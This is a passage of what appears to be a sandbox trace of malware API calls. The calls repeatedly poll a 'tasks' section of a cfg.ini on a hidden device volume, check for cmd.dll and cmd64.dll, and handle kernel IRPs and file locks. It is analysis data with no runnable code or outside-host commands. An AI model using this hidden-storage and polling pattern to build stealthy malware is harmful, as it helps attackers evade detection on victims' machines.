_Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.870] KeEnterCriticalRegion () [0121.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.870] ExFreePoolWithTag (P=0xfffffa8003bc66b0, Tag=0x0) [0121.870] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.870] KeLeaveCriticalRegion () [0121.870] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.870] ReleaseMutex (hMutex=0xf0) returned 1 [0121.870] Sleep (dwMilliseconds=0x927c0) [0121.889] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.889] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.889] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.889] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.889] KeEnterCriticalRegion () [0121.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.889] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.889] IdePortDispatch () returned 0x103 [0121.889] KeWaitForMutexObject () returned 0x0 [0121.889] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.889] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.889] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.889] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.889] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.889] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.889] KeLeaveCriticalRegion () [0121.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.889] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.889] KeEnterCriticalRegion () [0121.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.889] KeLeaveCriticalRegion () [0121.889] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.889] KeEnterCriticalRegion () [0121.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.890] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.890] IdePortDispatch () returned 0x103 [0121.890] KeWaitForMutexObject () returned 0x0 [0121.890] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.890] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.890] KeLeaveCriticalRegion () [0121.890] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.890] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.890] KeEnterCriticalRegion () [0121.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bed000 [0121.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.890] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.890] IdePortDispatch () returned 0x103 [0121.890] KeWaitForMutexObject () returned 0x0 [0121.891] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.891] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.891] IdePortDispatch () returned 0x103 [0121.891] KeWaitForMutexObject () returned 0x0 [0121.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.891] KeLeaveCriticalRegion () [0121.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.892] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.892] KeEnterCriticalRegion () [0121.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] KeLeaveCriticalRegion () [0121.892] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.892] KeEnterCriticalRegion () [0121.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.892] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] KeLeaveCriticalRegion () [0121.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.892] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.892] KeEnterCriticalRegion () [0121.892] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.892] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.892] KeLeaveCriticalRegion () [0121.892] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.892] ReleaseMutex (hMutex=0xf0) returned 1 [0121.893] Sleep (dwMilliseconds=0x927c0) [0121.910] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.910] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.910] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.911] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.911] KeEnterCriticalRegion () [0121.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.911] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.911] IdePortDispatch () returned 0x103 [0121.911] KeWaitForMutexObject () returned 0x0 [0121.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.911] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.911] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.911] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.911] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.911] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6750 [0121.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.911] KeLeaveCriticalRegion () [0121.911] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.911] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.911] KeEnterCriticalRegion () [0121.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.911] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.911] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.911] KeLeaveCriticalRegion () [0121.911] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.911] KeEnterCriticalRegion () [0121.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.911] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.911] IdePortDispatch () returned 0x103 [0121.911] KeWaitForMutexObject () returned 0x0 [0121.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.912] KeLeaveCriticalRegion () [0121.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.912] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.912] KeEnterCriticalRegion () [0121.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.912] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf2000 [0121.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.912] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.912] IdePortDispatch () returned 0x103 [0121.912] KeWaitForMutexObject () returned 0x0 [0121.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.912] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.912] IdePortDispatch () returned 0x103 [0121.912] KeWaitForMutexObject () returned 0x0 [0121.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.912] KeLeaveCriticalRegion () [0121.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.913] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.913] KeEnterCriticalRegion () [0121.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] KeLeaveCriticalRegion () [0121.913] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.913] KeEnterCriticalRegion () [0121.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.913] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] KeLeaveCriticalRegion () [0121.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.913] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.913] KeEnterCriticalRegion () [0121.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] ExFreePoolWithTag (P=0xfffffa8003bc6750, Tag=0x0) [0121.913] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.913] KeLeaveCriticalRegion () [0121.913] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.913] ReleaseMutex (hMutex=0xf0) returned 1 [0121.914] Sleep (dwMilliseconds=0x927c0) [0121.929] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.929] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.929] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.930] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.930] KeEnterCriticalRegion () [0121.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.930] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.930] IdePortDispatch () returned 0x103 [0121.930] KeWaitForMutexObject () returned 0x0 [0121.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.930] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.930] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.930] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.930] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.930] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0121.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.930] KeLeaveCriticalRegion () [0121.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.930] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.930] KeEnterCriticalRegion () [0121.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.930] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.931] KeLeaveCriticalRegion () [0121.931] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.931] KeEnterCriticalRegion () [0121.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.931] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.931] IdePortDispatch () returned 0x103 [0121.931] KeWaitForMutexObject () returned 0x0 [0121.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.931] KeLeaveCriticalRegion () [0121.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.931] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.931] KeEnterCriticalRegion () [0121.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bf7000 [0121.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.931] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.931] IdePortDispatch () returned 0x103 [0121.931] KeWaitForMutexObject () returned 0x0 [0121.932] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.932] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.932] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.932] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.932] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.932] IdePortDispatch () returned 0x103 [0121.932] KeWaitForMutexObject () returned 0x0 [0121.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.932] KeLeaveCriticalRegion () [0121.932] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.932] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.932] KeEnterCriticalRegion () [0121.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.932] KeLeaveCriticalRegion () [0121.933] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.933] KeEnterCriticalRegion () [0121.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.933] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.933] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.933] KeLeaveCriticalRegion () [0121.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.933] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.933] KeEnterCriticalRegion () [0121.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.933] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0121.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.933] KeLeaveCriticalRegion () [0121.933] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.933] ReleaseMutex (hMutex=0xf0) returned 1 [0121.933] Sleep (dwMilliseconds=0x927c0) [0121.947] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.947] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.947] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.947] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.947] KeEnterCriticalRegion () [0121.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.947] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.947] IdePortDispatch () returned 0x103 [0121.947] KeWaitForMutexObject () returned 0x0 [0121.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.948] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.948] _strnicmp (_Str1="cmd64.dll", 